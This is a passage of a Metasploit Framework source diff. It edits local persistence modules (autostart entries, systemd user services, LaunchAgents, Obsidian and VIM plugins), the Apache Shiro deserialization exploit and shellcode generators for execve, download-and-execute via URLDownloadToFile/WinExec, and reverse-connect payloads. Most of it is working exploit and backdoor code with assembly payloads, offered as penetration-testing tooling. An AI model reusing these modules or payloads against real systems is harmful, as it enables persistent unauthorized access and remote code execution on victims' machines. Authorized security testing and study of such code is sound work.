fail_with(Failure::Unknown, 'Could not create a new user') unless res&.code != 403
print_good("User #{username} created with password #{password}")
end
@@ -48,9 +48,8 @@ class MetasploitModule < Msf::Exploit::Local
'Platform' => ['linux', 'unix'],
'Arch' => ARCH_CMD,
# Space is constrained due to the max size of the resulting ELF executable (2024 on 6.8.0-79-generic
# x86_64, 2036 on 6.6.63-v8+ aarch64, 2028 on 5.15.44-Re4son-v7+ armv7l) if Metasploit changes the ELF
# executable size in the future, this may need to be updated. The Space here is the largest size that
# yeilds an ELF executable that fits all tested architectures.
# x86_64, 2036 on 6.6.63-v8+ aarch64) if Metasploit changes the ELF executable size in the future, this
# may need to be updated
'Payload' => { 'Space' => 1847, 'DisableNops' => true }
}
]
@@ -129,7 +128,7 @@ class MetasploitModule < Msf::Exploit::Local
def run_command(os_command)
os_architecture = get_os_architecture
unless [ ARCH_X64, ARCH_AARCH64, ARCH_ARMLE ].include?(os_architecture)
unless [ ARCH_X64, ARCH_AARCH64 ].include?(os_architecture)
# this is an artificial filter for MVP while the details for the other architectures are worked out and tested.
fail_with(Failure::NoTarget, "#{os_architecture} targets are not supported.")
end
@@ -89,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Local
user = target_user
home = get_home_dir(user)
vprint_status('Making sure the autostart directory exists')
mkdir("#{home}/.config/autostart", cleanup: false) # in case no autostart exists
cmd_exec("mkdir -p #{home}/.config/autostart") # in case no autostart exists
name = datastore['BACKDOOR_NAME'] || Rex::Text.rand_text_alpha(5..8)
path = "#{home}/.config/autostart/#{name}.desktop"
@@ -83,13 +83,13 @@ class MetasploitModule < Msf::Exploit::Local
@clean_up_rc << "upload #{path} #{config_file}\n"
else
print_status("#{config_file} does not exist, creating it")
mkdir(emacs_dir, cleanup: false) unless directory?(emacs_dir)
cmd_exec("mkdir #{emacs_dir}") unless directory?(emacs_dir) # don't use mkdir since that auto deletes on module finish
write_file(config_file, '')
@clean_up_rc << "rm #{config_file}\n"
end
unless directory?(lisp_dir)
mkdir(lisp_dir, cleanup: false)
cmd_exec("mkdir #{lisp_dir}")
@clean_up_rc << "rmdir #{lisp_dir}\n"
end
@@ -185,7 +185,7 @@ class MetasploitModule < Msf::Exploit::Local
user = target_user
home = get_home_dir(user)
vprint_status('Creating user service directory')
mkdir("#{home}/.config/systemd/user", cleanup: false)
cmd_exec("mkdir -p #{home}/.config/systemd/user")
service_name = "#{home}/.config/systemd/user/#{service_filename}.service"
vprint_status("Writing service: #{service_name}")
@@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Local
if !file_exist?(service_name)
print_error('File not written, check permissions. Attempting secondary location')
vprint_status('Creating user secondary service directory')
mkdir("#{home}/.local/share/systemd/user", cleanup: false)
cmd_exec("mkdir -p #{home}/.local/share/systemd/user")
service_name = "#{home}/.local/share/systemd/user/#{service_filename}.service"
vprint_status("Writing .local service: #{service_name}")
@@ -1,81 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VIM Plugin Persistence',
'Description' => %q{
This module creates a VIM Plugin which executes a payload on VIM startup.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die',
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_CMD ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Targets' => [[ 'Auto', {} ]],
'References' => [
[ 'URL', 'https://vimways.org/2019/writing-vim-plugin/'],
[ 'URL', 'https://www.linode.com/docs/guides/writing-a-vim-plugin/'],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
],
'DisclosureDate' => '1991-11-03', # VIM release date
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
}
)
)
register_advanced_options [
OptString.new('NAME', [ false, 'Name of the extension. Defaults to random'])
]
end
def check
return CheckCode::Safe('VIM is required') unless command_exists?('vim')
CheckCode::Detected('VIM is installed')
end
def plugin_name
return datastore['NAME'] unless datastore['NAME'].empty?
Rex::Text.rand_text_alpha(5..10)
end
def get_home
return cmd_exec('echo ~').strip
end
def install_persistence
plugin = plugin_name
vim_plugin = File.read(File.join(
Msf::Config.data_directory, 'exploits', 'vim_plugin', 'plugin.vim'
))
vim_plugin = vim_plugin.gsub('PAYLOAD_PLACEHOLDER', payload.encoded.gsub(';./', ';nohup ./')) # already run async
vim_plugin = vim_plugin.gsub('NAME', plugin)
path = "#{get_home}/.vim/plugin"
mkdir(path, cleanup: false) unless directory?(path)
path = "#{path}/#{plugin}.vim"
vprint_status("Writing plugin to #{path}")
unless write_file(path, vim_plugin)
fail_with(Failure::UnexpectedReply, "Failed to write VIM plugin to #{path}")
end
@clean_up_rc = "rm #{path}\n"
end
end
@@ -20,8 +20,6 @@ class MetasploitModule < Msf::Exploit::Remote
installations of Apache Shiro v1.2.4. Note that other versions of Apache Shiro may
also be exploitable if the encryption key used by Shiro to encrypt rememberMe
cookies is known.
The gadget chain used for Java deserialization must be present on the target's classpath.
},
'License' => MSF_LICENSE,
'Author' => [
@@ -64,11 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote
register_options(
[
OptString.new('TARGETURI', [ true, 'Base directory path', '/']),
OptString.new('ENC_KEY', [ true, 'Shiro encryption key', 'kPH+bIxk5D2deZiIxcaaaA==']),
OptEnum.new('JAVA_GADGET_CHAIN', [
true, 'The Java gadget chain to use for deserialization', 'CommonsCollections2',
Msf::Exploit::JavaDeserialization.gadget_chains
])
OptString.new('ENC_KEY', [ true, 'Shiro encryption key', 'kPH+bIxk5D2deZiIxcaaaA=='])
]
)
end
@@ -81,7 +75,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
java_payload = generate_java_deserialization_for_payload(datastore['JAVA_GADGET_CHAIN'], payload)
java_payload = generate_java_deserialization_for_payload('CommonsCollections2', payload)
ciphertext = aes_encrypt(java_payload)
base64_ciphertext = Rex::Text.encode_base64(ciphertext)
@@ -220,10 +220,12 @@ var ExamplePlugin = class extends import_obsidian.Plugin {
fail_with(Failure::NotFound, 'No vaults found') if vaults.empty?
vaults.each_value do |vault|
print_status("Uploading plugin to vault #{vault['path']}")
# avoid mkdir function because that registers it for delete, and we don't want that for
# persistent modules
if ['windows', 'win'].include? session.platform
mkdir("#{vault['path']}\\.obsidian\\plugins\\#{plugin}", cleanup: false)
cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"")
else
mkdir("#{vault['path']}/.obsidian/plugins/#{plugin}", cleanup: false)
cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'")
end
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))
@@ -98,7 +98,7 @@ class MetasploitModule < Msf::Exploit::Local
print_status("Detected Python version #{@python_version}")
get_hooks_path unless @hooks_path
mkdir(@hooks_path, cleanup: false) if session.platform == 'osx' || session.platform == 'linux'
mkdir(@hooks_path) if session.platform == 'osx' || session.platform == 'linux'
fail_with(Failure::NotFound, "The hooks path #{@hooks_path} does not exists") unless directory?(@hooks_path)
# check if hooks path writable
@@ -105,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Local
# drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
def add_launchctl_item
label = File.basename(backdoor_path)
mkdir(File.dirname(plist_path).shellescape, cleanup: false) unless directory?(File.dirname(plist_path))
cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
# NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
item = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
@@ -186,7 +186,7 @@ class MetasploitModule < Msf::Exploit::Local
# @param [String] exe the executable to drop
def write_backdoor(exe)
print_status('Dropping backdoor executable...')
mkdir(File.dirname(backdoor_path).shellescape, cleanup: false) unless directory?(File.dirname(backdoor_path))
cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")
if write_file(backdoor_path, exe)
print_good("Backdoor stored to #{backdoor_path}")
@@ -84,7 +84,7 @@ class MetasploitModule < Msf::Exploit::Local
if session.type == 'meterpreter'
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname)
else
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless mkdir(payload_pathname, cleanup: false)
fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless cmd_exec("mkdir \"#{payload_pathname}\"")
end
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)
@@ -85,8 +85,9 @@ class MetasploitModule < Msf::Exploit::Local
print_status("#{profile_file} does not exist, creating it...")
folders = profile_file.split('\\')[0..-2]
folders = folders.join('\\')
# we can't use mkdir here because register_dir_for_cleanup gets called, and we handle our own cleanups
unless directory?(folders)
mkdir(folders, cleanup: false)
cmd_exec("cmd /c \"md #{folders}\"")
@clean_up_rc << "rmdir #{folders.gsub('\\', '/')}\n"
end
unless write_file(profile_file, '') # write empty file so we can append later
+18 -45
View File
@@ -3,8 +3,16 @@
# Current source: https://github.com/rapid7/metasploit-framework
##
###
#
# Exec
# ----
#
# Executes an arbitrary command.
#
###
module MetasploitModule
CachedSize = 72
CachedSize = 29
include Msf::Payload::Single
include Msf::Payload::Linux::Armle::Prepends
@@ -14,60 +22,25 @@ module MetasploitModule
merge_info(
info,
'Name' => 'Linux Execute Command',
'Description' => 'Execute an arbitrary command or just a /bin/sh shell',
'Author' => [
'Jonathan Salwan',
'Spencer McIntyre'
],
'Description' => 'Execute an arbitrary command',
'Author' => 'Jonathan Salwan',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE
)
)
register_options([
OptString.new('CMD', [ false, 'The command string to execute' ]),
])
register_options(
[
OptString.new('CMD', [ true, 'The command string to execute' ]),
]
)
end
def generate(_opts = {})
cmd = datastore['CMD'] || ''
if cmd.empty?
# execve("/bin/sh", NULL, NULL)
shellcode = [
0xe28f000c, # add r0, pc, #12
0xe3a01000, # mov r1, #0
0xe3a02000, # mov r2, #0
0xe3a0700b, # mov r7, #11 # __NR_execve
0xef000000 # svc 0
].pack('V*')
shellcode += "/bin/sh\x00"
else
# execve("/bin/sh", ["/bin/sh", "-c", CMD, NULL], NULL)
shellcode = [
0xe0244004, # eor r4, r4, r4
0xe92d0010, # push {r4} ; argv[3] = NULL
0xe28f4030, # add r4, pc, #48 ; r4 = &cmd
0xe92d0010, # push {r4} ; argv[2] = &cmd
0xe28f4024, # add r4, pc, #36 ; r4 = &"-c"
0xe92d0010, # push {r4} ; argv[1] = &"-c"
0xe28f4014, # add r4, pc, #20 ; r4 = &"/bin/sh"
0xe92d0010, # push {r4} ; argv[0] = &"/bin/sh"
0xe1a0100d, # mov r1, sp
0xe28f0008, # add r0, pc, #8 ; r0 = &"/bin/sh"
0xe3a02000, # mov r2, #0
0xe3a0700b, # mov r7, #11 ; __NR_execve
0xef000000 # svc 0
].pack('V*')
shellcode += "/bin/sh\x00"
shellcode += "-c\x00\x00"
shellcode += cmd + "\x00"
end
# align our shellcode to 4 bytes
shellcode += "\x00" while shellcode.bytesize % 4 != 0
super.to_s + shellcode
"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0a\x30" \
"\x01\x90\x01\xa9\x92\x1a\x0b\x27\x01\xdf" + cmd
end
end
+7 -13
View File
@@ -39,7 +39,6 @@ module MetasploitModule
def generate(_opts = {})
cmd = datastore['CMD'] || ''
cmd_length = cmd.bytesize
nullfreeversion = datastore['NullFreeVersion']
if cmd.empty?
@@ -94,22 +93,19 @@ module MetasploitModule
pushw_c_opt = 'dd 0x632d6866' # pushw 0x632d (metasm doesn't support pushw)
if nullfreeversion
if cmd_length > 0xffff
if cmd.length > 0xffff
raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller
end
# Null-free: raw bytes without terminator (patched at runtime)
cmd_bytes = Rex::Text.to_hex_cstring(cmd, nullbyte: false)
if cmd_length <= 0xff # 255
if cmd.length <= 0xff # 255
breg = 'bl'
else
breg = 'bx'
if (cmd_length & 0xff) == 0 # let's avoid zeroed bytes
cmd_bytes += ', 0x20'
cmd_length += 1
if (cmd.length & 0xff) == 0 # let's avoid zeroed bytes
cmd += ' '
end
end
mov_cmd_len_to_breg = "mov #{breg}, #{cmd_length}"
mov_cmd_len_to_breg = "mov #{breg}, #{cmd.length}"
# 48 bytes without cmd (null-free)
payload = <<-EOS
@@ -148,11 +144,9 @@ module MetasploitModule
syscall ; execve("//bin/sh", ["//bin/sh", "-c", "*CMD*"], NULL)
tocall:
call afterjmp
db #{cmd_bytes} ; arbitrary command
db "#{cmd}" ; arbitrary command
EOS
else
# Non-null-free: null-terminated cstring
cmd_cstring = Rex::Text.to_hex_cstring(cmd)
# 37 bytes without cmd (not null-free)
payload = <<-EOS
mov rax, 0x68732f6e69622f
@@ -169,7 +163,7 @@ module MetasploitModule
push rdx ; NULL
call continue
db #{cmd_cstring} ; arbitrary command
db "#{cmd}", 0x00 ; arbitrary command
continue:
push rsi ; "-c"
push rdi ; "/bin/sh"
@@ -36,7 +36,6 @@ module MetasploitModule
if length > 0xff
fail_with(Msf::Module::Failure::BadConfig, 'HOSTNAME must be less than 255 characters.')
end
hostname = Rex::Text.to_hex_cstring(hostname, nullbyte: false)
payload = %^
push 0xffffffffffffff56 ; sethostname() syscall number.
@@ -58,7 +57,7 @@ module MetasploitModule
str:
call end
db #{hostname}, 0x41
db "#{hostname}A"
^
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
+7 -13
View File
@@ -52,7 +52,6 @@ module MetasploitModule
def generate(_opts = {})
cmd = datastore['CMD'] || ''
cmd_length = cmd.bytesize
nullfreeversion = datastore['NullFreeVersion']
if cmd.empty?
#
@@ -90,22 +89,19 @@ module MetasploitModule
#
pushw_c_opt = 'dd 0x632d6866' # pushw 0x632d (metasm doesn't support pushw)
if nullfreeversion
if cmd_length > 0xffff
if cmd.length > 0xffff
raise RangeError, 'CMD length has to be smaller than %d' % 0xffff, caller
end
# Null-free: raw bytes without terminator (patched at runtime)
cmd_bytes = Rex::Text.to_hex_cstring(cmd, nullbyte: false)
if cmd_length <= 0xff # 255
if cmd.length <= 0xff # 255
breg = 'bl'
else
breg = 'bx'
if (cmd_length & 0xff) == 0 # let's avoid zeroed bytes
cmd_bytes += ', 0x20'
cmd_length += 1
if (cmd.length & 0xff) == 0 # let's avoid zeroed bytes
cmd += ' '
end
end
mov_cmd_len_to_breg = "mov #{breg}, #{cmd_length}"
mov_cmd_len_to_breg = "mov #{breg}, #{cmd.length}"
# 47/49 bytes without cmd (null-free)
payload = <<-EOS
xor ebx, ebx
@@ -131,11 +127,9 @@ module MetasploitModule
int 0x80
tocall:
call afterjmp ; call/pop cmd address
db #{cmd_bytes}
db "#{cmd}"
EOS
else
# Non-null-free: null-terminated cstring
cmd_cstring = Rex::Text.to_hex_cstring(cmd)
# 36 bytes without cmd (not null-free)
payload = <<-EOS
push 0xb
@@ -149,7 +143,7 @@ module MetasploitModule
mov ebx, esp
push edx
call continue
db #{cmd_cstring}
db "#{cmd}", 0x00
continue:
push edi
push ebx
@@ -34,7 +34,6 @@ module MetasploitModule
def generate(_opts = {})
fd = datastore['FD']
path = Rex::Text.to_hex_cstring(datastore['PATH'] || '')
payload_data = <<-EOS
jmp file
@@ -66,7 +65,7 @@ module MetasploitModule
file:
call open
db #{path}
db "#{datastore['PATH']}", 0x00
EOS
Metasm::Shellcode.assemble(Metasm::Ia32.new, payload_data).encode_string
@@ -4,7 +4,7 @@
##
module MetasploitModule
CachedSize = 127
CachedSize = 128
include Msf::Payload::Single
include Msf::Payload::Osx
@@ -43,7 +43,7 @@ module MetasploitModule
raise ArgumentError, 'LHOST must be in IPv4 format.'
end
cmd = Rex::Text.to_hex_cstring(datastore['CMD'] || '')
cmd = (datastore['CMD'] || '') + "\x00"
encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')
encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')
encoded_host_port = format('0x%<encoded_host>.8x%<encoded_port>.8x', { encoded_host: encoded_host, encoded_port: encoded_port })
@@ -80,7 +80,7 @@ module MetasploitModule
xor rax,rax
mov eax,0x200003b
call load_cmd
db #{cmd}
db "#{cmd}", 0x00
load_cmd:
pop rdi
xor rdx,rdx
@@ -124,10 +124,6 @@ module MetasploitModule
# get protocol specific stuff
server_uri = Rex::Text.to_hex_cstring(server_uri)
filename = Rex::Text.to_hex_cstring(filename)
server_host = Rex::Text.to_hex_cstring(server_host)
# create actual payload
payload_data = %^
cld
@@ -226,7 +222,7 @@ module MetasploitModule
call httpopenrequest
server_uri:
db #{server_uri}
db "#{server_uri}", 0x00
create_file:
jmp.i8 get_filename
@@ -297,13 +293,13 @@ module MetasploitModule
get_filename:
call get_filename_return
db #{filename}
db "#{filename}",0x00
get_server_host:
call internetconnect
server_host:
db #{server_host}
db "#{server_host}", 0x00
end:
^
self.assembly = payload_data
@@ -40,8 +40,6 @@ module MetasploitModule
# Construct the payload
#
def generate(_opts = {})
title = Rex::Text.to_hex_cstring(datastore['TITLE'] || '')
text = Rex::Text.to_hex_cstring(datastore['TEXT'] || '')
style = 0x00
case datastore['ICON'].upcase.strip
# default = NO
@@ -91,10 +89,10 @@ module MetasploitModule
call ebp
push #{style}
call get_title
db #{title}
db "#{datastore['TITLE']}", 0x00
get_title:
call get_text
db #{text}
db "#{datastore['TEXT']}", 0x00
get_text:
push 0
push #{block_api_hash('user32.dll', 'MessageBoxA')}
@@ -40,10 +40,6 @@ module MetasploitModule
url = datastore['URL'] || 'http://localhost/hi.exe'
file = datastore['FILEPATH'] || 'fox.exe'
display = datastore['DISPLAY'] || 'HIDE'
url_length = url.bytesize
file_length = file.bytesize
url = Rex::Text.to_hex_cstring(url, nullbyte: false)
file = Rex::Text.to_hex_cstring(file, nullbyte: false)
payload = %^
cld
@@ -65,17 +61,17 @@ module MetasploitModule
SetUrl:
call SetFile
db #{url}, 0x41
db "#{url}A"
SetFile:
pop rdx ; 2nd argument
xor byte [rdx+#{url_length}], 'A' ; null terminator
xor byte [rdx+#{url.length}], 'A' ; null terminator
call UrlDownloadToFile
db #{file}, 0x43
db "#{file}C"
UrlDownloadToFile:
pop r8 ; 3rd argument
xor byte [r8+#{file_length}], 'C' ; null terminator
xor byte [r8+#{file.length}], 'C' ; null terminator
xor rcx,rcx ; 1st argument
xor r9,r9 ; 4th argument
sub rsp, 8
@@ -85,11 +81,11 @@ module MetasploitModule
SetCommand:
call Exec
db "cmd /c ", #{file}, 0x46
db "cmd /c #{file}F"
Exec:
pop rcx ; 1st argument
xor byte [rcx+#{file_length + 7}], 'F' ; null terminator
xor byte [rcx+#{file.length + 7}], 'F' ; null terminator
mov r10d, #{block_api_hash('kernel32.dll', 'WinExec')}
xor rdx, rdx ; 2nd argument
^
@@ -36,8 +36,6 @@ module MetasploitModule
end
def generate(_opts = {})
title = Rex::Text.to_hex_cstring(datastore['TITLE'] || '')
text = Rex::Text.to_hex_cstring(datastore['TEXT'] || '')
style = 0x00
case datastore['ICON'].upcase.strip
# default = NO
@@ -90,11 +88,11 @@ module MetasploitModule
call rbp
mov r9, #{style}
call get_text
db #{text}
db "#{datastore['TEXT']}", 0x00
get_text:
pop rdx
call get_title
db #{title}
db "#{datastore['TITLE']}", 0x00
get_title:
pop r8
xor rcx,rcx
@@ -99,23 +99,18 @@ RSpec.shared_examples_for 'payload cached size is consistent' do |options|
end
end
it 'can be instantiated and generated' do
pinst = load_and_create_module(
it 'can be instantiated' do
load_and_create_module(
ancestor_reference_names: ancestor_reference_names,
module_type: module_type,
modules_path: modules_path,
reference_name: reference_name
)
next if reference_name =~ /generic/
generated_size = ::Msf::Util::PayloadCachedSize.compute_cached_size(framework, pinst, generation_count: 1)
expect(generated_size).to eq(':dynamic').or be_a(::Integer)
end
next if reference_name =~ /generic|peinject/
it 'has a valid cached_size' do
it 'has a valid cached_size', skip: 'Migrated to Jenkins' do
pinst = load_and_create_module(
ancestor_reference_names: ancestor_reference_names,
module_type: module_type,
@@ -123,7 +118,8 @@ RSpec.shared_examples_for 'payload cached size is consistent' do |options|
reference_name: reference_name
)
expect(pinst.cached_size).to eq(:dynamic).or be_a(::Integer).or be_nil
cache_size_errors = Msf::Util::PayloadCachedSize.cache_size_errors_for(framework, pinst)
expect(cache_size_errors).to be_nil
end
end
end